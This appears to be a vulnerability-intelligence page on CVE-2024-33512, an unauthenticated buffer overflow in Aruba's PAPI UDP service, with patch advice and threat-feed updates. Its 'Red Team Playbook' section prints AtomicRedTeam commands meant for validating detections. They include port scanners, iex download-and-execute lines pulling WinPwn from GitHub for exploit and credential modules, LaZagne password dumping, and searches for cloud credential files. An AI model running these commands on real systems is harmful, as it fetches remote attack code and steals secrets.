CVE-2024-33512
Overview
This vulnerability is a stack-based buffer overflow in the Local User Authentication Database service of Hewlett Packard Enterprise (HPE) Aruba products. The flaw arises from improper handling of specially crafted UDP packets sent to the PAPI (Aruba's access point management protocol) port 8211. The affected components include Aruba Mobility Conductor, Mobility Controllers, WLAN Gateways, and SD-WAN Gateways managed by Aruba Central, where the authentication service fails to validate input size correctly, leading to memory corruption.
Vulnerability Description
There is a buffer overflow vulnerability in the underlying Local User Authentication Database service that could lead to unauthenticated remote code execution by sending specially crafted packets destined to the PAPI (Aruba's access point management protocol) UDP port (8211). Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.
Impact
An unauthenticated attacker with network access to UDP port 8211 can execute arbitrary code with privileged system rights on the affected devices. This enables full compromise of the underlying operating system, including the ability to manipulate configurations, intercept or disrupt network traffic, and move laterally within the network. The vulnerability requires no user interaction and no authentication (CVSS vector AV:N/AC:L/PR:N/UI:N), making it highly exploitable and critical in operational environments.
Solution
HPE Aruba has released advisory ARUBA-PSA-2024-004 detailing patches addressing this buffer overflow in Aruba Mobility Conductor, Mobility Controllers, and managed WLAN/SD-WAN Gateways. Administrators should apply the vendor-provided software updates immediately as specified in the advisory. The document includes version-specific fixes and instructions for verifying successful patch deployment. No alternative mitigations or workarounds are recommended beyond applying the official patches available from Aruba Networks' support portal.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Local User Authentication Database service is characterized by a buffer overflow condition that can be exploited through specially crafted packets sent to the PAPI UDP port (8211). This flaw arises from inadequate validation of input data, allowing an attacker to overwrite the memory of the affected service. When the buffer overflow occurs, it can lead to the execution of arbitrary code with the privileges of the underlying operating system. This is particularly concerning as it enables an unauthenticated remote actor to gain control over the system, potentially leading to a complete compromise of the device and its associated network.
Attack vectors for this vulnerability primarily involve sending malicious packets to the designated UDP port. Given that the service listens for incoming requests, an attacker can initiate exploitation from any location with network access to the affected device. Scenarios may include targeting devices within a corporate network or those exposed to the internet. Once the attacker successfully exploits the buffer overflow, they can execute arbitrary code, which may include installing malware, altering configurations, or exfiltrating sensitive data. The ease of exploitation, combined with the potential for significant control over the device, makes this vulnerability particularly dangerous.
The real-world impact of this vulnerability can be severe, especially for organizations that rely on the affected service for user authentication and network management. Successful exploitation could lead to unauthorized access to sensitive information, disruption of services, and potential data breaches. The business risks associated with such an incident include financial losses, reputational damage, and regulatory penalties, particularly if personal data is compromised. Organizations may also face operational disruptions as they respond to the incident and work to remediate the vulnerability. The high CVSS score indicates the critical nature of this vulnerability, underscoring the urgency for organizations to address it.
To detect this vulnerability, organizations should implement network monitoring solutions that can identify unusual traffic patterns directed at the PAPI UDP port. Intrusion detection systems (IDS) can be configured to alert security teams of any suspicious packet activity that may indicate an attempted exploitation. Regular vulnerability assessments and penetration testing should also be conducted to identify and remediate any instances of this vulnerability within the network.
Mitigation strategies include applying patches or updates provided by the vendor to address the underlying flaw. Additionally, organizations should consider implementing network segmentation to limit access to the affected service, thereby reducing the attack surface. Employing firewalls to restrict incoming traffic to only trusted sources can further protect against exploitation attempts. Finally, maintaining a robust incident response plan will ensure that organizations are prepared to respond swiftly and effectively should an exploitation attempt occur. By adopting these strategies, organizations can significantly reduce their risk exposure and enhance their overall security posture against this critical vulnerability.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-33512, with new instances emerging on our sensors after a period of dormancy. This resurgence signals that threat actors are actively probing or attempting to exploit the buffer overflow vulnerability in Aruba’s PAPI UDP service. Although no new exploit variants or proof-of-concept code have been observed, the uptick in reconnaissance and potential exploitation attempts elevates the operational risk associated with this vulnerability. Defenders should interpret this development as an early indicator of increased adversary interest, which could precede more sophisticated or widespread exploitation campaigns. Consequently, the threat level for affected environments should be considered heightened, warranting increased vigilance and monitoring to detect and respond to exploitation attempts promptly.
Update 2 — July 19, 2026
CSURFACE threat intelligence has identified a marked escalation in reconnaissance and exploitation attempts targeting the buffer overflow vulnerability in Aruba’s PAPI UDP service. Our telemetry indicates a discernible uptick in malicious traffic patterns consistent with attempts to trigger the flaw, suggesting increased adversary probing and potential exploitation efforts. Although no new exploit variants or proof-of-concept codes have surfaced, this heightened activity signals growing attacker interest and experimentation in operational environments. The persistence of stable EPSS scoring alongside rising detection trends underscores a shift from theoretical risk toward active exploitation attempts. Consequently, the threat level associated with CVE-2024-33512 should be elevated to reflect an increased likelihood of successful compromise, emphasizing the need for enhanced monitoring and rapid incident response readiness.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-33512 |
| arubanetworks.com |
GitHub CVE
|
https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2024-004.txt |